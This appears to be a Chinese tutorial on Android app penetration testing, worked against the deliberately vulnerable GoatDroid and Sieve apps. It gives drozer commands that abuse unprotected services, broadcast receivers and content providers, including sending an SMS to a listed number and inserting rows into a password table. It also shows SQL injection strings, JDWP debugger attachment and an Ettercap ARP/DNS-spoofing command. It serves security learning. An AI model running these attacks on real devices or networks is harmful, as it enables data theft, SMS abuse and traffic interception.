今天跟大家分享的是如何利用APP漏洞,本期主要是介绍如何发现APP漏洞并利用这些漏洞进行攻击,例子都比较简单,喷喷更健康哈,准备好了吗?要开始啦~~~ 0x01 正文 一、通过logcat查看日志信息 logcat是在ADB下的一个查看日志的工具,可以通过adb logcat -help查看其使用。 adb logcat [options] [filter] [options]主要是logcat的一些选项 [filter]则是以tag:priority来过滤日志信息 tag是在日志中的组件,在日志信息中处于priority后边的组件名 priority主要包括下边几个部 V,verbose(冗长的日志信息) D,debug(日志中的调试部分) I,Info(日志各类信息) W,Warn(警告/错误信息) E,Error(错误信息) 例如要过滤出错误信息:adb logcat *:E, *表示任一组件,可用具体组件代替。 另外在ubuntu下,也可以通过管道的方式来对输出的日志信息进行过滤。 adb logcat | grep “cookie” adb logcat | grep “http” 二、检查网络数据 1.安装Wireshark ① aptitude search wireshark //查找wireshark相关包 ② sudo apt-get install wireshark //安装wireshark 2.在android设备上安装tcpdump ② 通过ADB以root权限进入android设备shell模式,创建用于存放tcpdump的目录 mkdir /data/tcpdump chmod 755 /data/tcpdump //修改目录权限属性 ③ 将tcpdump安装入android设备中 adb push tcpdump /data/tcpdump/ adb shell chmod 755 /data/tcpdump/tcpdump ./tcpdump -help //adbshell下测试是否安装成功? 3.在android设备上安装busybox,获得nc功能 [url=]https://busybox.net/downloads/[/url] //busybox下载 [url=]https://busybox.net/downloads/BusyBox.html[/url] //busybox安装 4.实时抓取数据包 ① android上抓取数据包并输入到相应端口 ./tcpdump -i any -w - | busybox nc -l -p 31336 -i any //监听所有网络接口 -w - //直接以输出流输出(也可输出到文件中) busybox nc -l -p 31337 //将tcpdump输入的数据包从31336端口输出。 ②本机上端口交互,wireshark实时抓包 adb forward tcp:12345 tcp:31336 && netcat 127.0.0.112345 | wireshark –k –S –i – adb forward tcp:12345 tcp:31336 //交互本地12345端口与android 31336端口 netcat 127.0.0.1 12345 //监听本地12345端口数据 最后将数据包输入到wireshark进行实时包显示: -k //启动wireshark进行包的抓取 -S //实时更新包 -i - //将管道的输入作为wireshark的包接口输入 5.攻击service 对于部分没有设置好合适权限的service,容易导致在没有如何权限请求下,在后台执行着敏感的操作。 <serviceandroid:name=".services.LocationService" > <intent-filter> <actionandroid:name="org.owasp.goatdroid.fourgoats. services.LocationService"/> </intent-filter> </service> </application> <uses-permissionandroid:name="android.permission.SEND_SMS" /> <uses-permissionandroid:name="android.permission.CALL_PHONE" /> <uses-permissionandroid:name="android.permission. ACCESS_COARSE_LOCATION"/> <uses-permissionandroid:name="android.permission. ACCESS_FINE_LOCATION"/> <uses-permissionandroid:name="android.permission.INTERNET" /> </manifest> 例如上边的AndroidManifest.xml代码片段service: ".services.LocationService"自身赋予了"android.permission.ACCESS_COARSE_LOCATION""android.permission.ACCESS_FINE_LOCATION"权限,在无需任何权限下就可启动该service,从而获得用户所在的地理位置信息,可以通过drozer直接枚举出权限为null的service,并相应命令启动service dz> run app.service.info --permission null dz> run app.service.start --action [ACTION] --category [CATEGORY]--data-uri [DATA-URI] --component [package name] [component name] --extra [TYPEKEY VALUE] --mimetype [MIMETYPE] 6.攻击broadcastreceiver 当一个broadcast receiver没有设置合适权限,容易接收到不可信输入,从而进行恶意操作 。 1)broadcast receiver漏洞实例 <receiver android:name=".broadcastreceivers.SendSMSNowReceiver" android:label="SendSMS" > <intent-filter> <actionandroid:name= "org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/> </intent-filter> </receiver> </application> <uses-permissionandroid:name="android.permission.SEND_SMS" /> <uses-permissionandroid:name= "android.permission.CALL_PHONE"/> <uses-permissionandroid:name= "android.permission.ACCESS_COARSE_LOCATION"/> <uses-permissionandroid:name= "android.permission.ACCESS_FINE_LOCATION"/> <uses-permissionandroid:name="android.permission.INTERNET" /> </manifest> 这个app中receiver赋予了android.permission.SEND_SMS权限,而又没设置合适的权限进行保护,直接暴露给其他app,可以被直接启动,且如果该receiver的action代码如下: goatdroid.fourgoats.SOCIAL_SMS actions: public voidonReceive(Context arg0, Intent arg1) { context = arg0; SmsManager sms =SmsManager.getDefault(); Bundle bundle =arg1.getExtras(); sms.sendTextMessage(bundle.getString("phoneNumber"),null, bundle.getString("message"),null, null); Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT, Toast.LENGTH_LONG); } 代码中没有对调用这个reciver事先进行检查,并直接从bundle对象获取字符串值,作为sendTextMessage参数填入,从而导致可以轻松发送任意短信。 7.通过drozer启动broadcast receiver dz> run app.broadcast.send --action [ACTION] --category[CATEGORY] --component [PACKAGE COMPONENT] --data-uri [DATA_URI] --extra[TYPE KEY VALUE] --flags [FLAGS*] --mimetype [MIMETYPE] 对上边实例进行短信发送: dz> run app.broadcast.send --actionorg.owasp.goatdroid.fourgoats. SOCIAL_SMS --component org.owasp.goatdroid.fourgoatsorg.owasp. goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED 通过启动该receiver并传入字符向02029821468号码发送PWNED。 8.枚举有漏洞的content providers 通常content provider中包含有很多有价值的信息,对其攻击是通过恶意的intent来请求content provider,这样的intent包含着恶意的URI字符让contentprovider进行处理。 1)drozer枚举可能有漏洞的content provider dz> run app.provider.info --permission null //枚举没设置权限的content provider dz> run app.provider.finduri [package] //查找包的有效content URI字符串,通过查找到的content URI,可能寻找到突破口来提取content provider的数据 。 2)从有漏洞的content provider中获取数据 通过上边的方式获取content URI,如果该URI无需读权限即可获取数据。 run app.provider.info –-permission null run app.provider.finduri [package] 获取无权限的URI信息: dz> run app.provider.query [URI] 对上图中URI:”content://downloads/my_downloads”获取信息。 如含有用户敏感信息的content URI没有进行权限设置将容易受到恶意攻击 有些在对content provider设置路径权限时,当匹配类型(matching type)使用了PATTERN_LITERAL,Android权限框架将只有在所请求的路径与定义的路径精确匹配时,才会强制执行检查权限。 三、实例 在下方网址上下载apk,并安装于android设备上。 [url=]https://www.mwrinfosecurity.com/system/assets/380/[/url]original/sieve.apk 通过查看该app的provider相关信息,这个app使用了PATTERN_LITERAL匹配模式保护路径Keys,当试图用dorzer查询该路径时,会应权限受拒。 但当将路径变换为Keys/时,则不会检查路径,可顺利查询数据。 由于该app进行PATTERN_LITERAL匹配模式只定义了/Keys,而/Keys/则没有定义访问权限,所以可以顺利获取数据。 1.向contentprovider插入数据 当一个content provider没有设置好写入权限限制时,攻击者则可以恶意地将数据插入到其sqlite数据库中。 1)运用drozer插入数据 在向content provider插入数据前,先要得知数据的结构及数据名称等相关信息。 dz> run app.provider.columns [URI] 如实例app的命令如下: dz> run app.provider.columns content://com.mwr.example.seive. DBContentProvider/Passwords 当得知数据库中数据的结构及名称后,将有利于进行进一步攻击,插入数据。 dz> run app.provider.insert [URI] [--boolean [name][value]] [--integer[name] [value]] [--string [name] [value]]... 通过drozer向可插入数据的URI的执行命令如上,其支持插入的数据类型有 --boolean –-double –-float –-integer –-long –-string –short。 如向上边的实例中插入数据: dz> run app.provider.insertcontent://com.mwr.example.sieve. DBContentProvider/Passwords --int _id 3 --string usernameinjected --string service injected --string password woopwoop --string email [url=]myspam@gmail.com[/url] 显示出成功插入的数据,其中password中的woopwoop口令要想使其可以正常使用,则应像前边口令一样先进行base64编码再插入数据库中。 2.枚举有SQL注入漏洞的content provider 如一个app对用户认证的方式是从数据库中进行对应查询,其代码如下: public boolean isValidUser(){ u_username = EditText( some user value ); u_password = EditText( some user value ); //some un-important code here... String query = "select * from users_table where username= '" + username + "' and password = '" + u_password+"'"; SQLiteDatabase db //some un-important code here... Cursor c = db.rawQuery( p_query, null ); return c.getCount() != 0; } 当用户输入的口令为:''or'1'='1',则查询语句变为:select * from users_table where username = '"+u_username + "' andpassword = ''or '1'='1', 结果都为真,从而数据库所有用户都会被返回出来,运用drozer查询有SQL注入的contentprovider可以尝试: dz> run app.provider.query [URI] –-selection"1=1" dz> run app.provider.query [URI] –-selection"1-1=0" dz> run app.provider.query [URI] –-selection"0=0" dz> run app.provider.query [URI] –-selection"(1+random())*10 > 1" 3、利用可调试的app drozer查看设备上可调试的app: dz> run app.package.debuggable 当可调试的app在android设备的VM上运行时,可以通过Java调试连接协议(JavaDebug Wire Protocol)接口,将本地主机连接到VM上,从而提取正在运行的可调试app的信息。 adb jdwp //列出可连接到VM的端口 选择一个端口,执行命令使本地端口与VM端口交互 adb forward tcp:[localport] jdwp:[jdwp port on device] 如 adb forward tcp:31337 jdwp:307266 jdb –attach localhost:[PORT] //通过Java调试器使本地主机访问VM jdb –attach localhost:31337 在jdb会话中,执行下边命令提取VM类信息: Classes methods [class-path] //查看指定类的所有方法 fields [class name] //查看类的域或类属性 4. app中间人攻击 1)安装攻击工具Ettercap sudo aptitude search ettercap //查找ettercap相关包 sudo aptitude install ettercap-graphical //安装Ettercap 2.配置/usr/share/ettercap/etter.dns文件的DNS配置 sudo vim /usr/share/ettercap/etter.dns 如上图,为将本地主机冒充为DNS服务器,为部分域名配置上主机IP地址。 5.启动中间人攻击 ettercap –T –I [interface] –M ARP:remote –P dns_spoof /[address oftarget] /[address ofgateway]/ [interface]连上网络的网卡(无线网卡,与android设备连同网段) [address oftarget]android设备IP地址 [address of gateway]默认网关IP地址 用wireshark抓包,可看到这次ARP欺骗中的ARP数据包及DNS请求包
|